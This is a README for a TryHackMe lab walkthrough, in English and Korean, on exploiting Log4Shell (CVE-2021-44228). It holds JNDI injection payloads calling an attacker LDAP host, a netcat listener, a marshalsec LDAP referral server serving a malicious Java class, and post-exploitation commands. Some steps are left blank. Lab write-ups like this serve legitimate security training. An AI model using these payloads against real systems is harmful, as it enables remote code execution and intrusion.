
This repository provides a detailed walkthrough of the *Solar Exploiting Log4j room* on TryHackMe, focusing on exploiting the critical Log4Shell vulnerability (CVE-2021-44228). The project demonstrates how attackers can leverage insecure logging mechanisms in Java applications to achieve remote code execution.
플랫폼: TryHackMe 난이도: 중간 주제: Log4Shell (Log4j 취약점)
Log4j 취약점(CVE-2021-44228)을 이용하여 원격 코드 실행을 달성하고 플래그를 획득합니다.
nmap -sC -sV <TARGET_IP>
Log4j 취약점은 JNDI 인젝션을 허용합니다:
${jndi:ldap://<ATTACKER_IP>:1389/a}
입력이 로깅되면 → 취약점이 존재합니다.
nc -lvnp 4444
git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package
LDAP 서버 실행:
java -cp target/marshalsec.jar marshalsec.jndi.LDAPRefServer "http://<ATTACKER_IP>:8000/#Exploit" 1389
python3 -m http.server 8000
악의적인 Java 클래스 생성 (Exploit.class)
취약한 필드에 페이로드 주입:
${jndi:ldap://<ATTACKER_IP>:1389/Exploit}
💡 다음과 같은 헤더 사용:
트리거되면:
확인:
sudo -l
찾아볼 것:
find / -name flag.txt 2>/dev/null
cat flag.txt